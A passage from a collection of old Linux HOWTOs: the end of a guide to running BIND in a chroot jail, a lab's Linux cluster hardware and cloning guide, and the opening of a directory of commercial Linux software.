And, last but not least, for FreeBSD 4.3 you can apparently just edit the rc.conf file and put in the following:

syslogd_flags="-s -l /chroot/named/dev/log"
The -s is for security reasons, and is part of the default settings. The -l is a local path on which to put another logging node.

Once you've figured out how to make this change for your system, simply restart syslogd, either by killing it and launching it again (with the extra parameters), or by using the SysV-init script to do it for you:

# /etc/rc.d/init.d/syslog stop
# /etc/rc.d/init.d/syslog start

Once it's been restarted, you should see a ``file'' in /chroot/named/dev called log, that looks something like this:

srw-rw-rw-   1 root     root            0 Mar 13 20:58 log

The Other Solutions

If you have an older syslogd, then you'll have to find another way to do your logging. There are a couple programs out there, such as holelogd, which are designed to help by acting as a ``proxy'' and accepting log entries from the chrooted BIND and passing them out to the regular /dev/log socket.

Alteratively, you can simply configure BIND to log to files instead of going through syslog. See the BIND documentation for more details if you choose to go this route.

2.6 Tightening Permissions

First of all, feel free to restrict access to the whole /chroot directory to the root user. Of course, not everybody may want to do this, especially if you have other software installed in that tree that doesn't appreciate it.

# chown root /chroot
# chmod 700 /chroot

You can also safely restrict access to /chroot/named to the named user.

# chown named:named /chroot/named
# chmod 700 /chroot/named

For even more tightening, on Linux systems we can make a few of the files and directories immutable, using the chattr tool on ext2 filesystems.

# cd /chroot/named
# chattr +i etc etc/localtime var

Equivalently, on FreeBSD 4.3, you want to look into chflags if you wish to make things immutable. As an example, the following should change everything in the /chroot/named/etc directory to immutable:

# chflags schg /chroot/named/etc/*(*).

It would be nice to do this for the dev directory too, but unfortunately that would prevent syslogd from creating its dev/log socket. You may also choose to set the immutable bit on other files in the jail as well, such as your primary zone files, if they aren't expected to change.


Chroot-BIND HOWTO: Compiling and Installing Your Shiny New BIND

 Next Previous Contents

3. Compiling and Installing Your Shiny New BIND

3.1 Doing the Compile

Compiling BIND 9 for use in a chroot jail should be a much more pleasant experience than BIND 8 was. In fact, you don't have to do anything special; the standard ./configure && make should suffice.

Keep in mind that if you want to enable IPv6 support in BIND (--enable-ipv6) on Linux systems, you need matching versions of kernel and glibc. If you have kernel 2.2, you need glibc 2.1, and if you have kernel 2.4, you need glibc 2.2. BIND is quite picky about this.


Chroot-BIND HOWTO: Installing Your Shiny New BIND

 Next Previous Contents

4. Installing Your Shiny New BIND

I should mention that if you have an existing installation of BIND, such as from an RPM, you should probably remove it before installing the new one. On Red Hat systems, this probably means removing the packages bind and bind-utils, and possibly bind-devel and caching-nameserver, if you have them.

You may want to save a copy of the init script (e.g., /etc/rc.d/init.d/named), if any, before doing so; it'll be useful later on.

If you are upgrading from an older version of BIND, such as BIND 8, you will want to read the migration documentation in the file doc/misc/migration in the BIND source package. I don't deal with any migration issues in this document; I simply assume that you are replacing an existing, working installation of BIND 9.

4.1 Installing the Binaries

This is the easy part :-). Just run make install and let it take care of it for you. Really, that's it!

4.2 Setting up the Init Script

If you have an existing init script from your distribution, it would probably be best simply to modify it to run the new binary, with the appropriate switches. The switches are... (drumroll please...)

  • -u named, which tells BIND to run as the user named, rather than root.
  • -t /chroot/named, which tells BIND to chroot itself to the jail that we've set up.
  • -c /etc/named.conf, which tells BIND where to find its configuration file within the jail.

The following is the init script I use with my Red Hat 6.0 system. As you can see, it is almost exactly the same as the way it shipped from Red Hat. I haven't tried the rndc commands yet, but I can't see any reason why they shouldn't work.

#!/bin/sh
#
# named           This shell script takes care of starting and stopping
#                 named (BIND DNS server).
#
# chkconfig: 345 55 45
# description: named (BIND) is a Domain Name Server (DNS) \
# that is used to resolve host names to IP addresses.
# probe: true

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

[ -f /usr/local/sbin/named ] || exit 0

[ -f /chroot/named/etc/named.conf ] || exit 0

# See how we were called.
case "$1" in
  start)
        # Start daemons.
        echo -n "Starting named: "
        daemon /usr/local/sbin/named -u named -t /chroot/named -c /etc/named.conf
        echo
        touch /var/lock/subsys/named
        ;;
  stop)
        # Stop daemons.
        echo -n "Shutting down named: "
        killproc named
        rm -f /var/lock/subsys/named
        echo
        ;;
  status)
        status named
        exit $?
        ;;
  restart)
        $0 stop
        $0 start
        exit $?
        ;;
  reload)
        /usr/local/sbin/rndc reload
        exit $?
        ;;
  probe)
        # named knows how to reload intelligently; we don't want linuxconf
        # to offer to restart every time
        /usr/local/sbin/rndc reload >/dev/null 2>&1 || echo start
        exit 0
        ;;

  *)
        echo "Usage: named {start|stop|status|restart|reload}"
        exit 1
esac

exit 0

As with syslogd, as of Red Hat 7.2 this process is now even easier. There is a file called /etc/sysconfig/named in which extra parameters for syslogd can be defined. The default /etc/rc.d/init.d/named on Red Hat 7.2, however, will check for the existance of /etc/named.conf before starting. You will need to correct this path.

On Caldera OpenLinux systems, you simply need to modify the variables defined at the top, and it will apparently take care of the rest for you:

NAME=named
DAEMON=/usr/local/sbin/$NAME
OPTIONS="-t /chroot/named -u named -c /etc/named.conf"

And for FreeBSD 4.3, you can edit the rc.conf file and put in the following:

named_enable="YES"
named_program="chroot/named/bin/named"
named_flags="-u named -t /chroot/named -c /etc/namedb/named.conf"

4.3 Configuration Changes

You will also have to add or change a few options in your named.conf to keep the various directories straight. In particular, you should add (or change, if you already have them) the following directives in the options section:

directory "/etc/namedb";
pid-file "/var/run/named.pid";
statistics-file "/var/run/named.stats";
Since this file is being read by the named daemon, all the paths are of course relative to the chroot jail. As of this writing, BIND 9 does not support many of the statistics and dump files that previous versions did. Presumably later versions will; if you are running such a version, you may have to add additional entries to cause BIND to write them to the /var/run directory as well.


Chroot-BIND HOWTO: The End

 Next Previous Contents

5. The End

5.1 Launching BIND

Everything should be set up, and you should be ready to put your new, more secure BIND into action. Assuming you set up a SysV-style init script, you can simply launch it as:

# /etc/rc.d/init.d/named start
Make sure you kill any old versions of BIND still running before doing this.

5.2 That's It!

You can go take a nap now ;-).


Chroot-BIND HOWTO: Appendix - Upgrading BIND Later

 Next Previous Contents

6. Appendix - Upgrading BIND Later

So, you had BIND 9.1.2 all nicely chrooted and tweaked to your taste... and then you hear this nasty rumour that BIND 9.1.3 is finally out, and you just have to give it a try right away. Do you have to go through this whole long process to install this new version?

Nope. In fact, you really just need to compile the new BIND and install it over top of the old one. Just don't forget to kill the old version and restart BIND, or it'll still be the old version running!


Chroot-BIND HOWTO: Appendix - Thanks

 Next Previous Contents

7. Appendix - Thanks

I'd like to thank the following people for their assistance in the creation of this HOWTO:

  • Lonny Selinger <lonny at abyss.za.org> for "testing" the first version of this HOWTO and making sure that I didn't miss any steps.
  • Chirik <chirik at CastleFur.COM>, Dwayne Litzenberger <dlitz at dlitz.net>, Phil Bambridge <phil.b at cableinet.co.uk>, Robert Cole <rcole at metrum-datatape.com>, Colin MacDonald <colinm at telus.net>, and others for pointing out errors, omissions, and providing other useful advice to make this HOWTO even better.
  • Erik Wallin <erikw at sec.se> and Brian Cervenka <brian at zerobelow.org> for providing good suggestions for further tightening the jail.
  • Robert Dalton <support at accesswest.com> for suggesting a couple more example commands, and pointing out BIND 9.2.0's need of /dev/random.
  • Eric McCormick <hostmaster at cybertime.net> for the FreeBSD 4.3 information.
  • Tan Zheng Da <tzd at pobox.com> for the details about the changes in Red Hat 7.2 that make this a little easier.

And last but certainly not least, I'd like to thank Nakano Takeo <nakano at apm.seikei.ac.jp> for translating the Chroot-BIND HOWTO into Japanese. You can find his translation at http://www.linux.or.jp/JF/JFdocs/Chroot-BIND-HOWTO.html.


Chroot-BIND HOWTO: Appendix - Document Distribution Policy

 Next Previous Contents

8. Appendix - Document Distribution Policy

Copyright © Scott Wunsch, 2000-2001. This document may be distributed only subject to the terms set forth in the LDP licence at http://metalab.unc.edu/LDP/COPYRIGHT.html.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the LDP licence. It is distributed in the hope that it will be useful, but without any warranty; without even the impled warranty of merchantability or fitness for a particular purpose. See the LDP licence for more details.


Linux Cluster HOWTO

Ram Samudrala (me@ram.org)

v0.92, April 8, 2002

How to set up high-performance Linux computing clusters.

1. Introduction

2. Hardware

  • 2.1 Node hardware
  • 2.2 Server hardware
  • 2.3 Desktop hardware
  • 2.4 Miscellaneous/accessory hardware
  • 2.5 Putting-it-all-together hardware
  • 2.6 Costs

3. Software

  • 3.1 Linux, of course!
  • 3.2 Costs

4. Set up and configuration

  • 4.1 Disk configuration
  • 4.2 Package configuration
  • 4.3 Operating system installation
  • 4.4 Known hardware issues

5. Performing tasks on the cluster

  • 5.1 Rough benchmarks
  • 5.2 Uptimes

6. Acknowledgements

7. Bibliography


Linux Cluster HOWTO : Introduction

 Next Previous Contents

1. Introduction

This document describes how I set up my Linux computing clusters for high-performance computing which I need for my research.

Use the information below at your own risk. I disclaim all responsibility for anything you may do after reading this HOWTO. The latest version of this HOWTO will always be available at http://www.ram.org/computing/linux/linux_cluster.html.

Unlike other documentation that talks about setting up clusters in a general way, this is a specific description of how our lab is setup and includes not only details the compute aspects, but also the desktop, laptop, and public server aspects. This is done mainly for local use, but I put it up on the web since I received several e-mail messages based on my newsgroup query requesting the same information. Even today, as I plan another 64-node cluster, I find there is a dearth of information about exactly how to assemble components to form a node that works reliably under Linux. The main use of this HOWTO as it stands is that it's a report on what kind of hardware works well with Linux and what kind of hardware doesn't.


Linux Cluster HOWTO : Hardware

 Next Previous Contents

2. Hardware

This section covers the hardware choices I've made. Unless noted in the known hardware issues section, assume that everything works really well.

Hardware installation is also fairly straight-forward unless otherwise noted, with most of the details covered by the manuals. For each section, the hardware is listed in the order of purchase (most recent is listed first).

2.1 Node hardware

32 machines have the following setup each:

  • 2 AMD Palamino MP XP 1800+ 1.53 GHz CPUs
  • Tyan S2460 Dual Socket-A/MP motherboard
  • Kingston 512mb PC2100 DDR-266MHz REG ECC RAM
  • 1 20 GB Maxtor UDMA/100 7200rpm HD
  • 1 120 GB Maxtor 5400rpm ATA100 HD
  • Asus CD-A520 52x CDROM
  • 1.44mb floppy drive
  • ATI Expert 98 8mb AGP video card
  • IN-WIN P4 300ATX Mid Tower case
  • Intel PCI PRO-100 10/100Mbps network card

32 machines have the following setup each:

  • 2 Pentium III 1 GHz Intel CPUs
  • Supermicro 370 DLE Dual PIII-FCPGA motherboard
  • 2 256 MB 168-pin PC133 Registered ECC Micron RAM
  • 1 20 GB Maxtor ATA/66 5400 RPM HD
  • 1 40 GB Maxtor UDMA/100 7200 RPM HD
  • Asus CD-S500 50x CDROM
  • 1.4 MB floppy drive
  • ATI Expert 98 8 MB PCI video card
  • IN-WIN P4 300ATX Mid Tower case

2.2 Server hardware

1 server for external use (dissemination of information) with the following setup:

  • 2 Pentium III 1 GHz Intel CPUs
  • Supermicro 370 DLE Dual PIII-FCPGA motherboard
  • 2 256 MB 168-pin PC133 Registered ECC Micron RAM
  • 1 20 GB Maxtor ATA/66 5400 RPM HD
  • 2 40 GB Maxtor UDMA/100 7200 RPM HD
  • Asus CD-S500 50x CDROM
  • 1.4 MB floppy drive
  • ATI Expert 98 8 MB PCI video card
  • Full-tower case with 300W PS

2.3 Desktop hardware

1 desktop with the following setup:

  • 2 Intel Xeon 1.7 GHz 256K 400FS
  • Supermicro P4DCE Dual Xeon motherboard
  • 4 256mb RAMBUS 184-Pin 800 MHz memory
  • 2 120 GB Maxtor ATA/100 5400 RPM HD
  • 1 60 GB Maxtor ATA/100 7200 RPM HD
  • 52X Asus CD-A520 INT IDE CDROM
  • 1.4 MB floppy drive
  • Leadtex 64 MB GF2 MX400 AGP
  • Creative SB LIVE Value PCI 5.1
  • Microsoft Natural Keyboard
  • Microsoft Intellimouse Explorer
  • Supermicro SC760 full-tower case with 400W PS

2 desktops with the following setup:

  • 2 AMD K7 1.2g/266 MP Socket A CPU
  • Tyan S2462NG Dual Socket A motherboard
  • 4 256mb PC2100 REG ECC DDR-266Mhz
  • 3 40 GB Maxtor UDMA/100 7200 RPM HD
  • 50X Asus CD-A520 INT IDE CDROM
  • 1.4 MB floppy drive
  • Chaintech Geforce2 MX200 32mg AGP
  • Creative SB LIVE Value PCI
  • Microsoft Natural Keyboard
  • Microsoft Intellimouse Explorer
  • Full-tower case with 300W PS

2 desktops with the following setup:

  • 2 Pentium III 1 GHz Intel CPUs
  • Supermicro 370 DLE Dual PIII-FCPGA motherboard
  • 4 256 MB 168-pin PC133 Registered ECC Micron RAM
  • 3 40 GB Maxtor UDMA/100 7200 RPM HD
  • Asus CD-S500 50x CDROM
  • 1.4 MB floppy drive
  • Jaton Nvidia TNT2 32mb PCI
  • Creative SB LIVE Value PCI
  • Microsoft Natural Keyboard
  • Microsoft Intellimouse Explorer
  • Full-tower case with 300W PS

2 desktops with the following setup:

  • 2 Pentium III 1 GHz Intel CPUs
  • Supermicro 370 DLE Dual PIII-FCPGA motherboard
  • 4 256 MB 168-pin PC133 Registered ECC Micron RAM
  • 3 40 GB Maxtor UDMA/100 7200 RPM HD
  • Mitsumi 8x/4x/32x CDRW
  • 1.4 MB floppy drive
  • Jaton Nvidia TNT2 32mb PCI
  • Creative SB LIVE Value PCI
  • Microsoft Natural Keyboard
  • Microsoft Intellimouse Explorer
  • Full-tower case with 300W PS

4 desktops with the following setup:

  • 2 Pentium III 1 GHz Intel CPUs
  • Supermicro 370 DE6 Dual PIII-FCPGA motherboard
  • 4 256 MB 168-pin PC133 Registered ECC Micron RAM
  • 3 40 GB Maxtor UDMA/100 7200 RPM HD
  • Ricoh 32x12x10 CDRW/DVD Combo EIDE
  • 1.4 MB floppy drive
  • Asus V7700 64mb GeForce2-GTS AGP video card
  • Creative SB Live Platinum 5.1 sound card
  • Microsoft Natural Keyboard
  • Microsoft Intellimouse Explorer
  • Full-tower case with 300W PS

2.4 Miscellaneous/accessory hardware

Backup:

  • 2 Sony 20/40 GB DSS4 SE LVD DAT

Monitors:

  • 1 22" Viewsonic P220F 0.25-0.27m monitor
  • 4 21" Sony CPD-G500 .24mm monitor
  • 2 18" Viewsonic VP181 LCD monitor
  • 1 17" Viewsonic VE170 LCD monitor

2.5 Putting-it-all-together hardware

We use KVM switches with a cheap monitor to connect up and "look" at all the machines:

  • 15" .28dp XLN CTL Monitor
  • 3 Belkin Omniview 16-Port Pro Switches
  • 40 KVM cables

While this is a nice solution, I think it's kind of needless. What we need is a small hand held monitor that can plug into the back of the PC (operated with a stylus, like the Palm). I don't plan to use more monitor switches/KVM cables.

Networking is important:

  • 1 Cisco Catalyst 3448 XL Enterprise Edition 48 port network switch.
  • 1 Netgear FS524 24 port network switch

2.6 Costs

Our vendor is Hard Drives Northwest ( http://www.hdnw.com). For each compute node in our cluster (containing two processors), we paid about $1500-$2000, including taxes. Generally, our goal is to keep each node to below $2000.00 (which is what our desktop machines cost).


Linux Cluster HOWTO : Software

 Next Previous Contents

3. Software

3.1 Linux, of course!

We use Linux systems with a 2.4.9-7 kernel based on the KRUD 7.2 distribution, and 2.2.17-14 kernel based on the KRUD 7.0 distribution. These distributions work very well for us since updates are sent to us on CD and there's no reliance on an external network connection for updates. They also seem "cleaner" than the regular Red Hat distributions.

We use our own software for parallelising applications but have experimented with PVM and MPI. In my view, the overhead for these pre-packaged programs is too high. I recommend writing application-specific code for the tasks you perform (that's one person's view).

3.2 Costs

Linux is freely copiable.


Linux Cluster HOWTO : Set up and configuration

 Next Previous Contents

4. Set up and configuration

4.1 Disk configuration

This section describes disk partitioning strategies.

farm/cluster machines:

hda1 - swap  (2 * RAM)
hda2 - /     (remaining disk space)
hdb1 - /maxa (total disk)

desktops (without windows):

hda1 - swap  (2 * RAM)
hda2 - /     (4 GB)
hda3 - /home (remaining disk space)
hdb1 - /maxa (total disk)
hdd1 - /maxb (total disk)

desktops (with windows):

hda1 - /win  (total disk)
hdb1 - swap  (2 * RAM)
hdb2 - /     (4 GB)
hdb3 - /home (remaining disk space)
hdd1 - /maxa (total disk)

laptops (single disk):

hda1 - /win  (half the total disk size)
hda2 - swap  (2 * RAM)
hda3 - /     (4 GB)
hda4 - /home (remaining disk space)

4.2 Package configuration

Install a minimal set of packages for the farm. Users are allowed to configure desktops as they wish.

4.3 Operating system installation

Cloning

I believe in having a completely distributed system. This means each machine contains a copy of the operating system. Installing the OS on each machine manually is cumbersome. To optimise this process, what I do is first set up and install one machine exactly the way I want to. I then create a tar and gzipped file of the entire system and place it on a CD-ROM which I then clone on each machine in my cluster.

The commands I use to create the tar file are as follows:

tar -czvlps --same-owner --atime-preserve -f /maxa/slash.tgz /

I use have a script called go that takes a hostname and IP address as its arguments and untars the slash.tgz file on the CD-ROM and replaces the hostname and IP address in the appropriate locations. A version of the go script and the input files for it can be accessed at: http://www.ram.org/computing/linux/linux/cluster/. This script will have to be edited based on your cluster design.

To make this work, I also use Tom's Root Boot package http://www.toms.net/rb/ to boot the machine and clone the system. The go script can be placed on a CD-ROM or on the floppy containing Tom's Root Boot package (you need to delete a few programs from this package since the floppy disk is stretched to capacity).

More conveniently, you could burn a bootable CD-ROM containing Tom's Root Boot package, including the go script, and the tgz file containing the system you wish to clone. You can also edit Tom's Root Boot's init scripts so that it directly executes the go script (you will still have to set IP addresses if you don't use DHCP).

Thus you can develop a system where all you have to do is insert a CDROM, turn on the machine, have a cup of coffee (or a can of coke) and come back to see a full clone. You then repeat this process for as many machines as you have. This procedure has worked extremely well for me and if you have someone else actually doing the work (of inserting and removing CD-ROMs) then it's ideal.

Rob Fantini has contributed modifications of the scripts above that he used for cloning a Mandrake 8.2 system accessible at http://www.ram.org/computing/linux/cluster/fantini_contribution.tgz.

DHCP vs. hard-coded IP addresses

If you have DHCP set up, then you don't need to reset the IP address and that part of it can be removed from the go script.

DHCP has the advantage that you don't muck around with IP addresses at all provided the DHCP server is configured appropriately. It has the disadvantage that it relies on a centralised server (and like I said, I tend to distribute things as much as possible). Also, linking hardware ethernet addresses to IP addresses can make it inconvenient if you wish to replace machines or change hostnames routinely.

4.4 Known hardware issues

The hardware in general has worked really well for us. Specific issues are listed below:

The AMD dual 1.2 GHz machines run really hot. Two of them in a room increase the temperature significantly. Thus while they might be okay as desktops, the cooling and power consumption when using them as part of a large cluster is a consideration. The AMD Palmino configuration described previously seems to work really well.


Linux Cluster HOWTO : Performing tasks on the cluster

 Next Previous Contents

5. Performing tasks on the cluster

This section is still being developed as the usage on my cluster evolves, but so far we tend to write our own sets of message passing routines to communicate between processes on different machines.

Many applications, particularly in the computational genomics areas, are massively and trivially parallelisable, meaning that perfect distribution can be achieved by spreading tasks equally across the machines (for example, when analysing a whole genome using a single gene technique, each processor can work on one gene at a time independent of all the other processors).

So far we have not found the need to use a professional queueing system, but obviously that is highly dependent on the type of applications you wish to run.

5.1 Rough benchmarks

For the single most important program we run (our ab initio protein folding simulation program), using the Pentium 3 1 GHz processor machine as a reference frame, the Athlon 1.2 GHz processor machine is about 16% faster on average, the Pentium 4 1.7 GHz machine is about 25-32% faster on average, and the Athlon 1.5 GHz processor is about 80% faster on average (yes, the Athlon 1.5 GHz is faster than the Xeon 1.7 GHz since the Xeon executes only six instructions per clock (IPC) whereas the Athlon executes nine IPC (you do the math!)).

5.2 Uptimes

These machines are incredibly stable both in terms of hardware and software once they have been debugged (usually some in a new batch of machines have hardware problems). Reboots have generally occurred when a circuit breaker is tripped. The first machine I installed has been up since its birth!

~ ram@fp1 % uptime
  4:49am  up 374 days,  2:47,  1 user,  load average: 2.08, 2.02, 2.01


Linux Cluster HOWTO : Acknowledgements

 Next Previous Contents

6. Acknowledgements

The following people have been helpful in getting this HOWTO done:

  • Michael Levitt ( Michael Levitt)


Linux Cluster HOWTO : Bibliography

 Next Previous Contents

7. Bibliography

The following documents may prove useful to you---they are links to sources that make use of high-performance computing clusters:

  • RAMBIN web page
  • RAMP web page
  • Ram Samudrala's research page (which describes the kind of research done with these clusters)


Linux Commercial HOWTO

Mr. Poet <poet@linuxports.com>

v5.38, 7 March 1999

This document contains a listing of commercial software and applications which are offered for Linux. It is maintained by Mr. Poet <poet@linuxports.com>.

1. About this document

2. Copyright Information

3. Disclaimer

4. Related Information

5. Linux for the Commercial Market?

  • 5.1 Turnkey systems
  • 5.2 Large end-user customers
  • 5.3 Specialized markets
  • 5.4 Biography

6. Website Development

  • 6.1 ASWedit, HTML editor
  • 6.2 Empress DataWEB
  • 6.3 EZ-EDIT
  • 6.4 LinkScan
  • 6.5 TalentSoft Web+ (WebPlus)
  • 6.6 VirtuFlex 1.1
  • 6.7 Visual prolog
  • 6.8 Web Crossing
  • 6.9 ThreadTrack and WebTailor from Webthreads.

7. Databases

  • 7.1 c-tree Plus
  • 7.2 Empress
  • 7.3 Essentia
  • 7.4 FairCom Server
  • 7.5 INFORMIX-SE
  • 7.6 Just Logic/SQL
  • 7.7 KE Texpress
  • 7.8 Qddb
  • 7.9 Raima Database Manager++
  • 7.10 Empress Embedded RDBMS
  • 7.11 SOLID Server
  • 7.12 Velocis Database Server
  • 7.13 Yard SQL

8. Data Visualisation and CAD

  • 8.1 IDL (Interactive Data Language)
  • 8.2 Megahedron
  • 8.3 Tecplot 7.0
  • 8.4 VariCAD
  • 8.5 VARKON
  • 8.6 XVScan

9. Development Tools

  • 9.1 ACUCOBOL-GT
  • 9.2 Amzi! Prolog & Logic Server
  • 9.3 Basmark QuickBASIC
  • 9.4 Critical Mass CM3
  • 9.5 Dynace
  • 9.6 Absoft Fortran 77
  • 9.7 Finesse
  • 9.8 ISE Eiffel
  • 9.9 EiffelBench
  • 9.10 C-Forge IDE
  • 9.11 IdeaFix
  • 9.12 j-tree
  • 9.13 KAI C++
  • 9.14 Khoros Pro 2.1
  • 9.15 MetaCard
  • 9.16 ObjectManual Release 3.0
  • 9.17 Critical Mass Reactor
  • 9.18 Resource Standard Metrics
  • 9.19 r-tree
  • 9.20 sdoc (Source Documenter)
  • 9.21 SEDIT, S/REXX
  • 9.22 SNiFF+
  • 9.23 ST/X (Smalltalk/X)
  • 9.24 tdb (Tcl Debugger)
  • 9.25 tprof (Tcl Profiler)
  • 9.26 View Designer/X (VDX)
  • 9.27 XBasic
  • 9.28 XMove 4.0 for Linux

10. Emulation

  • 10.1 Emulus
  • 10.2 Executor 2
  • 10.3 Wabi 2.2 for OpenLinux

11. Financial Software

  • 11.1 BB Stock Pro and BB Stock Tool
  • 11.2 TimeClock

12. Libraries

  • 12.1 FontScope
  • 12.2 INTERACTER
  • 12.3 Matrix<LIB> - C++ Math Matrix Library
  • 12.4 PKWARE Data Compression Library for Linux
  • 12.5 readyBase
  • 12.6 SIMLIB IG

13. Mathematics

  • 13.1 Maple V Release 4 - The Power Edition
  • 13.2 MATCOM and MATCOM MATH LIBRARY
  • 13.3 Mathematica 3.0
  • 13.4 MATLAB and Simulink

14. Multimedia

  • 14.1 Peter Lipa and his Journeys
  • 14.2 Lucka Vondrackova and her Journeys
  • 14.3 MpegTV Player 1.0
  • 14.4 Peter Nagy and his Journeys
  • 14.5 Xaudio

15. Network Servers

  • 15.1 Critical Angle X.500 Enabler
  • 15.2 DNEWS News Server
  • 15.3 Aventail Internet Policy Manager
  • 15.4 Aventail VPN
  • 15.5 WANPIPE
  • 15.6 Zeus Web Server

16. Office Tools

  • 16.1 Corel WordPerfect 8
  • 16.2 The American Heritage Dictionary Deluxe
  • 16.3 Applixware Office Suite for Linux
  • 16.4 D.M.S. Document Management System
  • 16.5 HotWire EasyFAX
  • 16.6 NExS, the Network Extensible Spreadsheet
  • 16.7 Axene Office
  • 16.8 Projector and Projector/Net
  • 16.9 The Virtual Office System
  • 16.10 Axene XAllWrite
  • 16.11 Axene Xclamation
  • 16.12 Axene XQuad

17. Text Processing

  • 17.1 Edith Pro for X11
  • 17.2 TeraSpell 97 for Emacs

18. System Administration Tools

  • 18.1 Host Factory
  • 18.2 PerfectBACKUP+
  • 18.3 Venus

19. X Windows Related Products

  • 19.1 Accelerated-X Display Server
  • 19.2 BXwidgets
  • 19.3 BXwidgets/DB
  • 19.4 Laptop, Accelerated-X Display Server
  • 19.5 MaXimum cde Developer's Edition v1.0
  • 19.6 Multi-headed, Accelerated-X Display Server
  • 19.7 OpenGL, Accelerated-X Display Server
  • 19.8 OSF-Certified Motif

20. Other Software

  • 20.1 ABACUS 4
  • 20.2 BBBS
  • 20.3 Clustor
  • 20.4 FootPrints
  • 20.5 Aladdin Ghostscript
  • 20.6 Magician
  • 20.7 journyx WebTime
  • 20.8 LanSafe
  • 20.9 LjetMgr
  • 20.10 Synchronize/CyberScheduler

21. Free Software for Commercial Hardware

  • 21.1 Stallion Technologies Multiport Serial Boards


Linux Commercial HOWTO: About this document

 Next Previous Contents

1. About this document

This is the Linux Commercial HOWTO. It contains a listing of commercial software which is available for Linux. The Linux Commercial HOWTO doesn't contain any information on Linux distributions -- this is covered by the Distribution HOWTO.

If you contact any companies or purchase any products listed in this document, please mention the Linux Commercial HOWTO.

This document was originated by Harald Milz <Harald.Milz@Linux.org>. and then maintained by Mr. Poet

It is now maintained by Mr. Poet AND LinuxPorts <poet@linuxports.com>.

If you need to know more about the Linux Documentation Project or about Linux HOWTO's, feel free to contact the supervisor Tim Bynum <linux-howto@metalab.unc.edu>.

Tim Bynum will post the listing to several national and international newsgroups on a monthly basis. In addition, the Linux Commercial HOWTO can be found on the World Wide Web at http://commercial.cyrius.com. New versions of the Linux Commercial HOWTO are always placed at this site first, so please be sure to check if the copy you are reading is still up to date!

The Linux Commercial HOWTO is not a forum for product announcements or marketing hype; it is a service for potential customers and the whole Linux community. Resellers will not be listed; the list is for companies who produce their software themselves. Two main goals are being aimed at:

  • It shall help companies who want to run Linux to find software solutions and applications. The international distribution of this list will enhance the contact opportunity.
  • It is meant to prove the commercial useability of Linux and thus to encourage other vendors to port their software as well.

Companies and developers who are offering their products for Linux and interested in joining the Linux Commercial HOWTO are invited to fill out the following form and contact me at poet@linuxports.com.

This HOWTO contains tabular entries for each product (example follows). The entry format is similar to the Linux Software Map (LSM) entry (field/stanza lengths are arbitrary). If you want me to add your entry please keep short, otherwise I'll have to shorten your data. Furthermore, please send me plain ASCII data; no HTML, and no PostScript.

Category:

        Databases, Data Visualisation, Development tools, Financial
        Software, Mathematics, Multimedia, Network Management, Text
        Processing, X Windows or Other Software.

Name:

The name of your application.

Description:

Short description of the package, just the basic functionality.

Distribution media:

Licensing policy:

Whatever applies.  Is there a free demo or shareware version available
via FTP or WWW?  Where?

OS provisions:

Kernel version, XFree86 version, Motif version, RAM, harddisk usage, etc.

Documentation:

Printed documentation, page number, online help, language.

Extra features and add-Ons:

(and their prices)

Price range:

Whatever it costs.

Vendor:

Address:
Phone: (U.S. and Canada: if you like to be reachable internationally,
       please don't enter only a +1 800 or +1 900 number)
Fax:
EMail:
URL:
Contact:


Linux Commercial HOWTO: Copyright Information

 Next Previous Contents

2. Copyright Information

This HOWTO is Copyright © 1996, 1997, 1998 by Mr. Poet.

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similarly permitted without express permission if it includes a notice on who translated it.

Short quotes may be used without prior consent by the author. Derivative work and partial distributions of the Linux Commercial HOWTO must be accompanied with either a verbatim copy of this file or a pointer to the verbatim copy.

Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

We further want that all information provided in the HOWTOs is disseminated. If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@metalab.unc.edu.


Linux Commercial HOWTO: Disclaimer

 Next Previous Contents

3. Disclaimer

This HOWTO is not actually a HOWTO in the sense of the Linux Documentation Project. Instead, it is an instrument to investigate the commercial Linux opportunity and to list applications which were already ported and marketed in a native Linux version. As a software vendor, you probably know that you can alternatively offer Linux users a statically linked SCO version of your application which would probably run under the iBCS2 emulator (albeit with a small performance penalty and higher memory requirements). Such applications will not be listed here.

I will not select nor deselect any particular product. Instead, everyone who wants to have her product included will be serviced. However, I reserve the right to shorten individual entries to keep things in shape.

If you don't find a particular product or vendor in this list, this is probably due to one of the following reasons:

  • I never heard of that product or vendor and thus didn't try to get in contact.
  • I did get in contact, but the vendor didn't answer yet.
  • I did get in contact, but the vendor stated positively that he doesn't sell his product for Linux (yet).

In any case, please get in contact if you feel someone's missing; also if you discover any errors in the file.

Sometimes two vendor's addresses are mentioned in the ``Vendor:'' field. In these cases I received the information from the German subsidiary/distributor. The original manufacturer's address is always mentioned first.


Linux Commercial HOWTO: Related Information

 Next Previous Contents

4. Related Information

There's another document which covers commercial Linux software. It is maintained by Alan Cox <Alan.Cox@Linux.org> and can be found at http://www.uk.linux.org/LxCommercial.html.

In addition, feel free to visit the Linux Mall where you can order most products presented in this HOWTO.


Linux Commercial HOWTO: Linux for the Commercial Market?

 Next Previous Contents

5. Linux for the Commercial Market?

Copyright © 1996 iX Multiuser Multitasking Magazin
Courtesy of iX Multiuser Multitasking Magazin!

People keep asking me ``When is Linux going to be ready for the commercial market''. I guess the first thing to discuss is what is meant by "commercial" in this context.

Some CD-ROM vendors have put the word "commercial" in their name, only to have the technical people think their product is good only for use by banks and insurance companies. Other people look at their product with disdain and say that ``Linux is not commercial quality'', because it is missing some feature they need, or they feel it is unstable (usually without ever trying it even one time).

To me, the word ``commercial'' has lost as much meaning in the marketplace as some of the other buzzwords:

  • ``Open'' vs ``Proprietary'' (People are now saying UNIX is ``Proprietary'')
  • ``Workstation'' vs ``PC'' (What is a workstation, anyway?)

In the old days of computing the commercial market was banks, insurance companies and business-oriented facilities where the use of COBOL or RPG was the mainstream. The technical market was scientific, engineering and manufacturing where FORTRAN and assembly language was used. Somewhere along the way the term ``commercial'' seems to have gotten twisted around to mean ``ready for the mass market'', versus ``ready for hackers''.

For the purpose of this article I will take the second meaning, and address whether I think Linux is ready for commercial purposes rather than the hobbyist and hacker market, and ready for the mass market rather than limited markets.

